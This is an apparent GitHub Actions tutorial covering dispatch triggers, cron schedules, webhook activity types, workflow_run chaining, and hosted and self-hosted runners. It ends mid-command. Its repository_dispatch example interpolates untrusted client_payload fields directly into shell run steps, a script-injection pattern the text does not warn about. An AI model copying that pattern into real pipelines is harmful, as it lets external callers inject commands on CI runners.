Prefer inputs.dry_run over github.event.inputs.dry_run. The inputs context preserves types — booleans are true/false, not the strings "true"/"false". The older github.event.inputs context returns everything as strings, which leads to subtle bugs like if: github.event.inputs.dry_run == false always being true (because the string "false" is truthy).
Triggering via CLI and REST API
The GitHub UI is convenient, but automation demands programmatic triggers. You can fire workflow_dispatch from the gh CLI or a direct REST API call.
# Trigger with all inputs specified
gh workflow run "Deploy Application" \
--ref main \
-f environment=staging \
-f version=v1.4.2 \
-f dry_run=true \
-f log_level=debug
# Check the status of the triggered run
gh run list --workflow="Deploy Application" --limit 1
curl -X POST \
-H "Accept: application/vnd.github+json" \
-H "Authorization: Bearer $GITHUB_TOKEN" \
"https://api.github.com/repos/OWNER/REPO/actions/workflows/deploy.yml/dispatches" \
-d '{
"ref": "main",
"inputs": {
"environment": "staging",
"version": "v1.4.2",
"dry_run": "true",
"log_level": "debug"
}
}'
repository_dispatch — External Event Triggers
While workflow_dispatch is designed for human-initiated or same-repo triggers, repository_dispatch exists for external systems. A backend service, a Slack bot, a different CI pipeline — anything that can make an HTTP POST can trigger a workflow. You define custom event types and pass arbitrary JSON data through a client_payload.
This decoupling is what makes repository_dispatch valuable: the caller doesn't need to know which workflows exist or what inputs they expect. It just fires an event, and any workflow listening for that event type picks it up.
Defining a repository_dispatch Workflow
name: Handle External Event
on:
repository_dispatch:
types:
- deploy-request
- run-integration-tests
jobs:
handle-deploy:
if: github.event.action == 'deploy-request'
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Extract payload
run: |
echo "Service: ${{ github.event.client_payload.service }}"
echo "Image: ${{ github.event.client_payload.image_tag }}"
echo "Author: ${{ github.event.client_payload.triggered_by }}"
- name: Deploy service
run: |
./scripts/deploy.sh \
--service "${{ github.event.client_payload.service }}" \
--tag "${{ github.event.client_payload.image_tag }}"
handle-tests:
if: github.event.action == 'run-integration-tests'
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
with:
ref: ${{ github.event.client_payload.sha }}
- name: Run tests for component
run: |
npm test -- --suite "${{ github.event.client_payload.test_suite }}"
The types filter is optional but strongly recommended. Without it, the workflow triggers on every repository_dispatch event in the repo. With it, you get clean separation: different event types route to different workflows or jobs.
Sending a repository_dispatch Event
The caller POSTs to the repository's dispatches endpoint with an event_type string and an optional client_payload object. The payload can be any valid JSON up to 10 nested levels.
curl -X POST \
-H "Accept: application/vnd.github+json" \
-H "Authorization: Bearer $GITHUB_TOKEN" \
"https://api.github.com/repos/OWNER/REPO/dispatches" \
-d '{
"event_type": "deploy-request",
"client_payload": {
"service": "payment-api",
"image_tag": "sha-a1b2c3d",
"triggered_by": "build-pipeline",
"rollback": false
}
}'
gh api "repos/OWNER/REPO/dispatches" \
-f event_type="deploy-request" \
-f 'client_payload={"service":"payment-api","image_tag":"sha-a1b2c3d","triggered_by":"build-pipeline","rollback":false}'
Unlike workflow_dispatch where you specify a ref, repository_dispatch always triggers the workflow file from the repository's default branch (usually main). If you need to check out a specific commit, pass the SHA in client_payload and use it in actions/checkout's ref parameter.
How repository_dispatch Flows Through GitHub
The sequence below shows the full lifecycle from an external API call through to workflow execution and payload access.
sequenceDiagram
participant Caller as External System / API
participant GH as GitHub API
participant Runner as Actions Runner
participant WF as Workflow Job
Caller->>GH: POST /repos/OWNER/REPO/dispatches
Note right of Caller: { event_type, client_payload }
GH->>GH: Validate token & permissions
GH-->>Caller: 204 No Content
GH->>Runner: Match event_type to
repository_dispatch workflows
Runner->>WF: Start job on default branch
WF->>WF: Read github.event.action
(event_type)
WF->>WF: Read github.event.client_payload
(arbitrary JSON data)
WF-->>Runner: Job complete
Real-World Use Cases for repository_dispatch
The flexibility of a custom event type plus free-form JSON payload opens up patterns that aren't possible with other triggers.
| Use Case | Event Type | Payload Example |
|---|---|---|
| Cross-repo deploy after a Docker image build | image-built |
{ "image": "ghcr.io/org/app:v2.1", "sha": "a1b2c3d" } |
| Slack bot triggers a database migration | run-migration |
{ "migration": "add_users_index", "env": "staging" } |
| Webhook from a CMS triggers a static site rebuild | content-updated |
{ "content_id": "blog/new-post", "author": "jane" } |
| Upstream repo notifies downstream repos to re-test | dependency-updated |
{ "package": "@org/core", "version": "3.0.0" } |
workflow_dispatch vs repository_dispatch — When to Use Which
Both triggers let you kick off workflows on demand, but they serve different audiences and have different trade-offs. Use this comparison to pick the right one.
| Aspect | workflow_dispatch | repository_dispatch |
|---|---|---|
| Primary audience | Humans (GitHub UI) or same-repo automation | External systems, cross-repo automation |
| Input mechanism | Typed inputs with UI form rendering | Free-form JSON via client_payload |
| Branch targeting | Caller specifies a ref (branch/tag) | Always default branch |
| Input validation | Built-in (type, required, choice options) | None — you validate in workflow steps |
| Authentication | repo scope or actions:write | repo scope or contents:write |
| Multiple event types | No — one workflow, one dispatch | Yes — filter with types array |
You can list workflow_dispatch and repository_dispatch on the same workflow. Use workflow_dispatch inputs for manual "break glass" runs from the UI, and repository_dispatch for automated triggers from external pipelines. Normalize the inputs early in the workflow so downstream jobs don't care which trigger fired.
Scheduled Triggers, Webhook Events, and Activity Types
Beyond reacting to code changes, GitHub Actions can run on a timer or respond to virtually any event that occurs in your repository. Scheduled triggers let you automate recurring tasks — nightly builds, periodic dependency audits, stale issue cleanup — while webhook events give you hooks into the broader GitHub ecosystem: issues, releases, deployments, labels, and more.
The schedule Trigger and POSIX Cron Syntax
The schedule trigger uses standard POSIX cron expressions to define when a workflow runs. Each cron string is made up of five space-separated fields. GitHub evaluates these in UTC, so you need to account for your timezone offset when setting times.
| Field | Position | Allowed Values | Special Characters |
|---|---|---|---|
| Minute | 1st | 0–59 | * , - / |
| Hour | 2nd | 0–23 | * , - / |
| Day of month | 3rd | 1–31 | * , - / |
| Month | 4th | 1–12 | * , - / |
| Day of week | 5th | 0–6 (Sun=0) | * , - / |
The * wildcard means "every," , separates discrete values, - defines ranges, and / sets step intervals (e.g., */15 means "every 15 units"). Let's look at some practical examples.
Example: Nightly Build at 2:30 AM UTC
A common pattern is running a full test suite or build every night when no one is actively pushing code. This catches flaky tests and integration drift early.
on:
schedule:
# Runs at 2:30 AM UTC every day
- cron: '30 2 * * *'
jobs:
nightly-build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- run: npm ci
- run: npm run build
- run: npm test
Example: Weekly Dependency Update on Mondays
Running dependency checks once a week keeps your project current without overwhelming your team with daily noise. Monday morning (UTC) is a popular choice so updates are ready for the work week.
on:
schedule:
# Every Monday at 9:00 AM UTC
- cron: '0 9 * * 1'
jobs:
dependency-audit:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- run: npm audit
- run: npm outdated || true
Example: Multiple Schedules in One Workflow
You can define more than one cron expression under schedule. The workflow triggers whenever any of the schedules match. This is useful when different cadences serve different purposes within the same workflow.
on:
schedule:
- cron: '30 2 * * *' # Nightly at 2:30 AM UTC
- cron: '0 12 * * 5' # Fridays at noon UTC
Minimum interval is 5 minutes. GitHub ignores cron expressions that resolve to shorter intervals. In practice, even 5-minute schedules are discouraged — they consume runner minutes fast.
Delays happen under high load. During peak periods on GitHub-hosted runners, scheduled workflows can be delayed by minutes or even hours. Don't rely on exact timing for mission-critical tasks.
Scheduled workflows run only on the default branch. The cron trigger always uses the workflow file from the default branch (usually main or master). Changes to the schedule on a feature branch have no effect until merged.
Inactive repos lose schedules. If no repository activity occurs for 60 days, scheduled workflows are automatically disabled. GitHub sends a notification, and you must manually re-enable them.
Webhook Events Beyond Push and Pull Request
GitHub Actions can respond to over 35 different webhook events. While push and pull_request get the most attention, the real power of Actions lies in automating your entire project lifecycle. Here are some of the most useful webhook triggers and what they unlock.
| Event | Fires When | Common Use Case |
|---|---|---|
issues | An issue is opened, edited, closed, labeled, etc. | Auto-triage, assign reviewers, notify Slack |
issue_comment | A comment is created on an issue or PR | ChatOps commands (e.g., /deploy) |
release | A release is published, created, or edited | Build & publish artifacts, update docs |
deployment_status | A deployment status changes | Post-deploy smoke tests, notifications |
label | A label is created, edited, or deleted | Enforce label naming conventions |
workflow_dispatch | Manual trigger via UI or API | On-demand deploys, ad-hoc tasks |
repository_dispatch | External API sends a custom event | Cross-repo orchestration |
discussion | A GitHub Discussion is created or answered | Auto-label discussions, notify teams |
Using these events, you can build workflows that manage your project far beyond CI/CD. For instance, automatically labeling new issues based on their content, or triggering a deployment when a GitHub Release is published.
Example: Auto-Respond to New Issues
This workflow triggers when an issue is opened and posts a welcome comment. It's a simple but effective way to acknowledge contributors and set expectations for response time.
on:
issues:
types: [opened]
jobs:
welcome:
runs-on: ubuntu-latest
steps:
- uses: actions/github-script@v7
with:
script: |
github.rest.issues.createComment({
owner: context.repo.owner,
repo: context.repo.repo,
issue_number: context.issue.number,
body: 'Thanks for opening this issue! We typically respond within 48 hours.'
})
Example: Publish on Release
Instead of manually publishing packages, you can wire the release event to automatically build and push artifacts when a new version is published on GitHub.
on:
release:
types: [published]
jobs:
publish:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: actions/setup-node@v4
with:
node-version: 20
registry-url: 'https://registry.npmjs.org'
- run: npm ci && npm publish
env:
NODE_AUTH_TOKEN: ${{ secrets.NPM_TOKEN }}
Activity Types: Precision Filtering for Webhook Events
Most webhook events have multiple activity types — sub-events that describe what specifically happened. By default, if you list an event without specifying types, GitHub triggers the workflow on only its default activity types (which varies per event). The types keyword gives you precise control over which activities actually start a run.
This matters because a single event like pull_request covers over a dozen activities: opened, synchronize, closed, reopened, labeled, review_requested, and more. Without filtering, you might run expensive CI on events that don't need it — like adding a label.
on:
# Only run CI when a PR is opened or new commits are pushed to it
pull_request:
types: [opened, synchronize, reopened]
# React to specific issue activities
issues:
types: [opened, labeled]
# Only care about published releases, not drafts or edits
release:
types: [published]
# Respond to new comments, not edits or deletions
issue_comment:
types: [created]
Not all events default to all their activity types. For example, pull_request defaults to opened, synchronize, and reopened — but not closed or labeled. The issues event defaults only to opened, edited, and deleted. Always check the GitHub docs for the defaults if you're omitting the types filter.
Combining Activity Types with Conditional Logic
You can pair activity type filtering with if conditions on individual jobs for even finer control. This lets a single workflow handle multiple activities while routing them to different jobs based on context.
on:
issues:
types: [opened, closed, labeled]
jobs:
welcome-new-issue:
if: github.event.action == 'opened'
runs-on: ubuntu-latest
steps:
- run: echo "New issue opened — sending welcome message"
track-closed:
if: github.event.action == 'closed'
runs-on: ubuntu-latest
steps:
- run: echo "Issue closed — updating metrics dashboard"
handle-label:
if: github.event.action == 'labeled' && github.event.label.name == 'bug'
runs-on: ubuntu-latest
steps:
- run: echo "Bug label added — notifying on-call team"
Use crontab.guru to validate and visualize your cron expressions before committing them. It translates cryptic strings like 0 */6 * * 1-5 into plain English ("every 6 hours, Monday through Friday") so you can verify the schedule is what you actually intended.
Workflow Chaining with workflow_run
Some CI/CD tasks need to run after another workflow finishes — but with elevated privileges the first workflow shouldn't have. The workflow_run event solves this by letting you trigger a workflow in response to the completion (or request) of another workflow, while running in the context of the default branch with full access to repository secrets.
This is the mechanism GitHub designed specifically for the "untrusted PR → privileged follow-up" pattern. The triggered workflow runs on main's code, not the fork's code, so it can safely use secrets to deploy previews, post comments, or publish artifacts.
sequenceDiagram
participant Dev as Developer
participant GH as GitHub
participant CI as CI Workflow
(pull_request)
participant Deploy as Deploy Preview Workflow
(workflow_run)
Dev->>GH: Opens Pull Request
GH->>CI: Triggers CI Workflow
(no secrets, PR merge ref)
CI->>CI: Run tests, build, lint
CI->>GH: Upload artifacts
(build output, coverage)
CI-->>GH: Workflow completes (success)
GH->>Deploy: Triggers workflow_run event
(runs on default branch, has secrets)
Deploy->>GH: Download CI artifacts
Deploy->>Deploy: Deploy preview & post PR comment
Deploy->>Dev: Comment with preview URL
Basic Configuration
A workflow_run trigger watches one or more named workflows and fires when they reach a specified activity type. The name you reference must exactly match the name: field in the upstream workflow file.
# .github/workflows/deploy-preview.yml
name: Deploy Preview
on:
workflow_run:
workflows: ["CI"] # Must match the 'name:' of the upstream workflow
types: [completed] # Also supports: requested
branches: [main, develop] # Optional: only trigger for runs on these branches
Activity Types
| Type | When it fires | Use case |
|---|---|---|
completed | After the upstream workflow finishes (success or failure) | Post-processing, deployment, notifications |
requested | When the upstream workflow is first queued | Setting up environments, sending "build started" status |
The completed type fires regardless of whether the upstream workflow passed or failed. You must check github.event.workflow_run.conclusion yourself to gate on success. Skipping this check is a common source of broken deployments.
Checking the Triggering Workflow's Conclusion
The github.event.workflow_run object gives you full metadata about the run that triggered this workflow — its conclusion, head branch, head SHA, pull requests, and more. Always gate your jobs on the conclusion to avoid deploying broken builds.
jobs:
deploy:
if: github.event.workflow_run.conclusion == 'success'
runs-on: ubuntu-latest
steps:
- name: Print triggering workflow info
run: |
echo "Triggered by: ${{ github.event.workflow_run.name }}"
echo "Branch: ${{ github.event.workflow_run.head_branch }}"
echo "Commit: ${{ github.event.workflow_run.head_sha }}"
echo "Conclusion: ${{ github.event.workflow_run.conclusion }}"
echo "URL: ${{ github.event.workflow_run.html_url }}"
Key fields available on github.event.workflow_run:
| Field | Description |
|---|---|
conclusion | success, failure, cancelled, skipped, or timed_out |
head_branch | Branch that the triggering workflow ran against |
head_sha | The commit SHA of the triggering run |
pull_requests | Array of associated PR objects (may be empty for forks) |
id | The run ID — needed for downloading artifacts via the API |
event | The event that triggered the upstream workflow (e.g., pull_request) |
Downloading Artifacts from the Triggering Workflow
The most powerful pattern with workflow_run is passing data between workflows through artifacts. The upstream CI workflow uploads build output or test results, and the downstream workflow downloads them using the GitHub REST API. You can't use the normal actions/download-artifact action across workflows — you need the API or the dedicated dawidd6/action-download-artifact action.
# Upstream: CI workflow uploads artifacts
# .github/workflows/ci.yml
name: CI
on: [pull_request]
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- run: npm ci && npm run build
- uses: actions/upload-artifact@v4
with:
name: build-output
path: dist/
# Downstream: Deploy Preview downloads artifacts via API
# .github/workflows/deploy-preview.yml
name: Deploy Preview
on:
workflow_run:
workflows: ["CI"]
types: [completed]
jobs:
deploy:
if: github.event.workflow_run.conclusion == 'success'
runs-on: ubuntu-latest
steps:
- name: Download build artifact
uses: actions/github-script@v7
with:
script: |
const artifacts = await github.rest.actions.listWorkflowRunArtifacts({
owner: context.repo.owner,
repo: context.repo.repo,
run_id: context.payload.workflow_run.id,
});
const build = artifacts.data.artifacts.find(a => a.name === 'build-output');
const download = await github.rest.actions.downloadArtifact({
owner: context.repo.owner,
repo: context.repo.repo,
artifact_id: build.id,
archive_format: 'zip',
});
const fs = require('fs');
fs.writeFileSync('build-output.zip', Buffer.from(download.data));
- name: Unzip and deploy
run: |
unzip build-output.zip -d dist/
# Deploy to preview environment using secrets
echo "Deploying to preview..."
Real-World Pattern: Posting PR Comments from a Privileged Workflow
Workflows triggered by pull_request from forks don't have write access to the repository or access to secrets. This means they can't post PR comments with test coverage, deployment URLs, or check results. The workflow_run pattern solves this cleanly: the CI workflow saves the PR number and comment body as an artifact, and the privileged downstream workflow reads them and posts the comment.
# In CI workflow (no secrets) — save PR number for later
- name: Save PR number
run: echo "${{ github.event.number }}" > pr-number.txt
- uses: actions/upload-artifact@v4
with:
name: pr-metadata
path: pr-number.txt
# In workflow_run workflow (has secrets & write access)
- name: Download PR metadata
uses: actions/github-script@v7
with:
script: |
const artifacts = await github.rest.actions.listWorkflowRunArtifacts({
owner: context.repo.owner,
repo: context.repo.repo,
run_id: context.payload.workflow_run.id,
});
const meta = artifacts.data.artifacts.find(a => a.name === 'pr-metadata');
const download = await github.rest.actions.downloadArtifact({
owner: context.repo.owner,
repo: context.repo.repo,
artifact_id: meta.id,
archive_format: 'zip',
});
const fs = require('fs');
fs.writeFileSync('pr-metadata.zip', Buffer.from(download.data));
- name: Extract and comment
run: |
unzip pr-metadata.zip
PR_NUMBER=$(cat pr-number.txt)
gh pr comment "$PR_NUMBER" \
--body "✅ Build succeeded! [View logs](${{ github.event.workflow_run.html_url }})"
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
The github.event.workflow_run.pull_requests array is often empty for pull requests from forks. This is a known limitation. Persisting the PR number as an artifact in the upstream workflow is the reliable workaround.
Chaining Multiple Workflows
You can watch multiple upstream workflows in a single trigger, or create deeper chains where Workflow A triggers B, and B triggers C. The workflows key accepts an array, so a single downstream workflow can react to several upstream pipelines.
# React to multiple upstream workflows
on:
workflow_run:
workflows: ["CI", "Security Scan", "Lint"]
types: [completed]
jobs:
notify:
runs-on: ubuntu-latest
steps:
- name: Route based on triggering workflow
run: |
echo "Triggered by: ${{ github.event.workflow_run.name }}"
if [[ "${{ github.event.workflow_run.name }}" == "CI" ]]; then
echo "Handling CI completion..."
elif [[ "${{ github.event.workflow_run.name }}" == "Security Scan" ]]; then
echo "Handling security scan results..."
fi
GitHub allows up to three levels of workflow_run chaining. Beyond that, subsequent workflows won't trigger. If you need deeper pipelines, consider using workflow_dispatch with the GitHub API to trigger the next step explicitly.
Security Model: Why This Matters
The security boundary is the core reason workflow_run exists. Understanding it prevents both security vulnerabilities and confusing debugging sessions.
| Property | pull_request (fork PR) | workflow_run (downstream) |
|---|---|---|
| Code checked out | Fork's PR branch (untrusted) | Default branch (trusted) |
| Secrets access | ❌ None | ✅ Full access |
GITHUB_TOKEN permissions | Read-only | Read-write |
| Can post PR comments | ❌ No | ✅ Yes |
| Can deploy | ❌ No | ✅ Yes |
Because the workflow_run workflow checks out your default branch code, an attacker can't inject malicious steps via a pull request. The trade-off is that you must explicitly download and handle any data from the upstream run — nothing is automatically shared between the two workflows.
GitHub-Hosted Runners: Images, Specs, and Larger Runners
Every time a GitHub Actions workflow fires, it provisions a fresh virtual machine — a runner — that executes your jobs and is destroyed afterward. GitHub maintains a fleet of these runners so you don't have to manage infrastructure. Understanding what's inside each runner, and what upgraded options exist, helps you pick the right machine for each job.
Standard Runner Labels
You select a runner with the runs-on key in your workflow. GitHub provides both latest-alias labels that roll forward automatically and pinned-version labels for reproducibility.
| Label | OS | Notes |
|---|---|---|
ubuntu-latest | Ubuntu 24.04 | Alias rolls forward — currently points to 24.04 |
ubuntu-24.04 | Ubuntu 24.04 | Pinned; use for deterministic builds |
ubuntu-22.04 | Ubuntu 22.04 | Still supported; will eventually be deprecated |
windows-latest | Windows Server 2022 | Alias rolls forward |
windows-2022 | Windows Server 2022 | Pinned version |
windows-2019 | Windows Server 2019 | Older; still available |
macos-latest | macOS 14 (Sonoma) | Alias rolls forward — runs on Apple Silicon (M1) |
macos-14 | macOS 14 (Sonoma) | ARM64 (Apple Silicon) |
macos-13 | macOS 13 (Ventura) | Intel-based (x86_64) |
When ubuntu-latest rolls from 22.04 to 24.04, your workflow could break if it depends on a specific library version or system package. For production CI, pin the version (e.g., ubuntu-24.04) and upgrade on your own schedule.
Here's the simplest possible usage — just set runs-on and go:
jobs:
build:
runs-on: ubuntu-24.04 # pinned version
steps:
- uses: actions/checkout@v4
- run: echo "Running on $(uname -a)"
Hardware Specs
Not all runners are created equal. The hardware you get depends on the operating system. macOS runners on Apple Silicon are notably more powerful than the standard Linux machines, which matters for build-heavy workloads.
| Runner | CPU Cores | RAM | Storage (SSD) | Architecture |
|---|---|---|---|---|
| Ubuntu (standard) | 4 | 16 GB | 14 GB | x86_64 |
| Windows (standard) | 4 | 16 GB | 14 GB | x86_64 |
| macOS (Intel — macos-13) | 4 | 14 GB | 14 GB | x86_64 |
| macOS (Apple Silicon — macos-14+) | 3 (M1) | 7 GB | 14 GB | ARM64 |
Standard Linux and Windows runners share the same spec tier. The macOS Apple Silicon runners have fewer cores and less RAM but benefit from the M1 chip's single-threaded performance and unified memory architecture. Keep this in mind for memory-hungry test suites.
Pre-Installed Software
GitHub-hosted runner images ship with a broad set of languages, runtimes, and tools so most workflows don't need lengthy setup steps. The Ubuntu image alone includes hundreds of packages. Here's a sampling of what comes pre-installed on the Ubuntu runner:
- Languages & runtimes: Node.js, Python, Ruby, Java (multiple versions via toolcache), Go, .NET SDK, Rust, PHP
- Package managers: npm, yarn, pip, gem, Maven, Gradle, Composer, cargo
- Containers & VMs: Docker, Docker Compose, Podman, Buildah
- Browsers: Google Chrome, Chromium, Firefox, Microsoft Edge (for E2E testing)
- CLI tools: git, curl, wget, jq, gh (GitHub CLI), az (Azure CLI), aws (AWS CLI)
- Databases: PostgreSQL, MySQL (client libraries; services run via containers)
- Build tools: CMake, GCC, Clang, Make
Windows runners additionally include Visual Studio Build Tools, .NET Framework, and PowerShell 7. macOS runners include Xcode (multiple versions), CocoaPods, and Homebrew.
How to check what's installed
Every runner image publishes its full software manifest in the actions/runner-images repository. You can also inspect the current runner at runtime:
- name: Inspect runner environment
run: |
echo "=== OS ==="
cat /etc/os-release
echo "=== CPU ==="
nproc
echo "=== Memory ==="
free -h
echo "=== Disk ==="
df -h /
echo "=== Docker ==="
docker --version
echo "=== Node ==="
node --version
echo "=== Python ==="
python3 --version
Runner Image Updates
GitHub updates runner images on a weekly cadence. Each update rolls in OS-level security patches, tool version bumps, and new pre-installed software. These updates happen automatically — you don't opt in or schedule them.
This means the exact versions of pre-installed tools can shift between workflow runs. If your build depends on a specific version of Node.js or Python, don't rely on whatever happens to be on the image. Use a setup action instead:
- uses: actions/setup-node@v4
with:
node-version: '20' # explicit — won't drift with image updates
- uses: actions/setup-python@v5
with:
python-version: '3.12'
Larger Runners
Standard runners are fine for linting, testing small projects, and simple deployments. But if you're compiling a monorepo, running a massive test suite in parallel, or training a model, you'll hit limits fast. Larger runners (available on GitHub Team and Enterprise plans) let you scale up the hardware.
Available configurations
| Runner Type | CPU Cores | RAM | Storage | OS Options |
|---|---|---|---|---|
| 4-core | 4 | 16 GB | 150 GB | Ubuntu, Windows |
| 8-core | 8 | 32 GB | 300 GB | Ubuntu, Windows |
| 16-core | 16 | 64 GB | 600 GB | Ubuntu, Windows |
| 32-core | 32 | 128 GB | 840 GB | Ubuntu, Windows |
| 64-core | 64 | 256 GB | 2,040 GB | Ubuntu, Windows |
| GPU (Linux) | 4 | 28 GB | 176 GB | Ubuntu (with NVIDIA T4 GPU) |
| ARM (Linux) | 2–64 | 8–256 GB | Varies | Ubuntu (ARM64) |
GPU runners come equipped with an NVIDIA T4 GPU and pre-installed CUDA drivers, making them suitable for ML inference testing and GPU-accelerated builds. ARM runners use Arm-based processors and are ideal for building and testing ARM-native applications without emulation overhead.
Setting up a larger runner
Larger runners aren't just labels you type — you create them in your organization or repository settings, assign a custom label, and then reference that label in runs-on. Here's the workflow side:
jobs:
heavy-build:
# References the custom label you assigned when creating
# the larger runner in Settings > Actions > Runners
runs-on: my-org-16core-ubuntu
steps:
- uses: actions/checkout@v4
- name: Build monorepo
run: make build-all -j16 # leverage all 16 cores
Don't use larger runners for every job. Split your workflow: run linting and unit tests on standard runners, and reserve the larger runner only for the compilation or integration-test job that actually needs the horsepower. Larger runners are billed at a per-minute premium — a 64-core Linux runner costs 32× more per minute than a standard runner.
Runner Groups and Static IPs
Larger runners can be organized into runner groups for access control — you can restrict which repositories or workflows are allowed to use expensive machines. They also support static IP addresses via Azure networking, which is critical if your CI needs to reach a firewall-protected staging server or database.
To enable static IPs, you configure the larger runner with Azure private networking in your organization settings. Every job on that runner then egresses from a predictable IP range that you can allowlist in your firewall rules.
Larger runners, GPU runners, and ARM runners are only available on GitHub Team and GitHub Enterprise Cloud plans. Free and Pro personal accounts are limited to the standard runner specs. Static IP support additionally requires Azure private networking setup.
Choosing the Right Runner
With this many options, here's a practical decision framework:
- Most workflows:
ubuntu-latest(or a pinned version) covers 90% of use cases — it's the cheapest and fastest to provision. - Windows-specific builds: Use
windows-latestonly when you need MSVC, .NET Framework, or Windows-specific testing. It costs 2× the per-minute rate of Linux. - iOS/macOS builds:
macos-14(Apple Silicon) for Swift/Xcode projects. macOS runners cost 10× the Linux rate, so keep macOS jobs lean. - Heavy compilation: An 8-core or 16-core larger runner often pays for itself by cutting build time by 4–8×.
- Cross-platform testing: Use a matrix strategy across multiple runners to test on all target platforms in parallel.
# Cross-platform matrix — test on all three OS families
jobs:
test:
strategy:
matrix:
os: [ubuntu-24.04, windows-2022, macos-14]
runs-on: ${{ matrix.os }}
steps:
- uses: actions/checkout@v4
- uses: actions/setup-node@v4
with:
node-version: '20'
- run: npm ci
- run: npm test
Self-Hosted Runners: Setup, Labels, Groups, and Scaling
GitHub-hosted runners are convenient — Ubuntu, Windows, and macOS machines ready to go with zero configuration. But they have hard limits: you can't access resources behind a corporate firewall, you can't attach a GPU, and at high volume the per-minute billing adds up fast. Self-hosted runners solve all of these problems by letting you run the GitHub Actions agent on machines you control.
When Self-Hosted Runners Make Sense
Self-hosted runners aren't always the right choice. They introduce operational overhead — you're responsible for patching, monitoring, and securing these machines. Here are the scenarios where the trade-off pays for itself:
| Scenario | Why Self-Hosted Wins | Example |
|---|---|---|
| Private network access | Runner sits inside the VPC/VNET, no need for VPN tunnels or IP allowlists | Deploying to an internal Kubernetes cluster or querying a private database during integration tests |
| Specialized hardware | GitHub-hosted runners don't offer GPUs, ARM, or high-memory machines | Training ML models, building ARM Docker images natively, running memory-intensive Gradle builds |
| Cost optimization at scale | At ~200+ runner-hours/month, owning compute is cheaper than per-minute billing | A monorepo with 50+ developers triggering hundreds of CI runs daily |
| Compliance & data residency | Full control over where code is cloned, built, and cached | Regulated industries (finance, healthcare) where source code cannot leave a specific region |
Self-hosted runners are available for public repositories, but GitHub strongly discourages it. A fork can submit a pull request that executes arbitrary code on your machine. Only use self-hosted runners with private repositories unless you have additional safeguards in place.
Architecture Overview
The self-hosted runner application is a lightweight agent that polls GitHub for jobs via long-polling over HTTPS. It doesn't require inbound ports — the runner initiates all connections outward. When a workflow targets a self-hosted runner via its labels, GitHub routes the job through the appropriate runner group, which acts as an access-control boundary at the organization level.
flowchart LR
A["GitHub.com
(Workflow Job)"] -->|"routes via labels"| B["Runner Group
(Org-level ACL)"]
B -->|"dispatches to
matching runner"| C["Self-Hosted Runner
(labeled: linux, gpu)"]
C -->|"clones repo &
executes steps"| D["Ephemeral
Job Environment"]
D -->|"reports status
& logs"| A
Setting Up a Self-Hosted Runner
Registering a runner involves downloading the runner application binary, authenticating it against your repository or organization, and optionally configuring it as a persistent system service. The steps below walk through a Linux setup — macOS and Windows follow the same pattern with platform-specific commands.
-
Download and extract the runner application
Navigate to your repository's Settings → Actions → Runners → New self-hosted runner. GitHub generates a time-limited token in the setup instructions. Download and extract the tarball:
bashmkdir actions-runner && cd actions-runner curl -o actions-runner-linux-x64.tar.gz -L \ https://github.com/actions/runner/releases/download/v2.321.0/actions-runner-linux-x64-2.321.0.tar.gz tar xzf actions-runner-linux-x64.tar.gz -
Configure the runner
Run the configuration script with your repository URL and the registration token. The
--labelsflag lets you add custom labels beyond the defaults (self-hosted,Linux,X64):bash./config.sh \ --url https://github.com/your-org/your-repo \ --token ABCDEF123456 \ --name "build-runner-01" \ --labels gpu,linux-large \ --work _work -
Install and start as a system service
Running interactively with
./run.shis fine for testing, but production runners should be installed as asystemdservice so they survive reboots and auto-restart on failure:bashsudo ./svc.sh install sudo ./svc.sh start sudo ./svc.sh status -
Target the runner in a workflow
Use
runs-onwith your custom labels. GitHub matches against runners that have all specified labels:yamljobs: train-model: runs-on: [self-hosted, linux, gpu] steps: - uses: actions/checkout@v4 - run: nvidia-smi - run: python train.py
Labels: Routing Jobs to the Right Machine
Every self-hosted runner automatically gets three default labels: self-hosted, the OS name (e.g., Linux), and the architecture (e.g., X64). You can add custom labels during registration with --labels or later via the GitHub UI. Labels are the sole mechanism for directing jobs to specific runners.
When you specify multiple labels in runs-on, GitHub treats them as an AND condition — the runner must have every label listed. This lets you build a flexible tagging taxonomy:
# Target a high-memory ARM runner in the staging environment
jobs:
integration-tests:
runs-on: [self-hosted, linux, arm64, staging, high-memory]
# Target any available Linux self-hosted runner
jobs:
lint:
runs-on: [self-hosted, linux]
A practical labeling strategy groups labels into categories: OS (linux, windows, macos), architecture (x64, arm64), capability (gpu, high-memory, docker), and environment (staging, production). Keep labels lowercase and consistent across your organization.
Runner Groups: Organization-Level Access Control
Runner groups are an organization-level feature (available on GitHub Team and Enterprise plans) that control which repositories can use which runners. Think of them as a permission boundary — you can have a "production-deploy" runner group that only your infrastructure repositories can access, and a "general-ci" group available to all repositories.
You manage runner groups in Organization Settings → Actions → Runner groups. Each group can be scoped to specific repositories or made available to all repositories in the org. When you register a runner, you assign it to a group.
# Register a runner into the "production-deploy" group
./config.sh \
--url https://github.com/your-org \
--token ABCDEF123456 \
--runnergroup "production-deploy" \
--labels deploy,linux \
--name "deploy-runner-01"
Labels and groups serve different purposes: labels handle capability routing (what can this runner do?), while groups handle access control (who is allowed to use this runner?). You typically need both in any non-trivial organization.
Scaling with Ephemeral Runners
By default, a self-hosted runner is persistent — it picks up job after job, accumulating state (installed packages, cached files, leftover processes) across runs. This is a security risk and a source of flaky builds. Ephemeral runners solve this by automatically de-registering after completing a single job.
# The --ephemeral flag makes the runner exit after one job
./config.sh \
--url https://github.com/your-org \
--token ABCDEF123456 \
--ephemeral \
--labels ephemeral,linux \
--name "ephemeral-runner-$(hostname)-$$"
The catch: something needs to create and destroy these runners on demand. For VM-based setups, you can use a simple script or cloud autoscaling groups that spin up a fresh VM, register it as an ephemeral runner, and let it terminate after the job. But for Kubernetes-native environments, there's a purpose-built solution.
Actions Runner Controller (ARC) for Kubernetes
The Actions Runner Controller (ARC) is a Kubernetes operator maintained by GitHub that manages self-hosted runners as pods. It watches for queued workflow jobs and dynamically scales runner pods up and down based on demand. This is the recommended approach for organizations already running Kubernetes.
ARC uses two core custom resources: RunnerScaleSet defines the runner configuration (labels, image, resource limits), and the controller automatically creates pods to service incoming jobs. Install ARC using Helm:
# Install the ARC controller
helm install arc \
--namespace arc-systems --create-namespace \
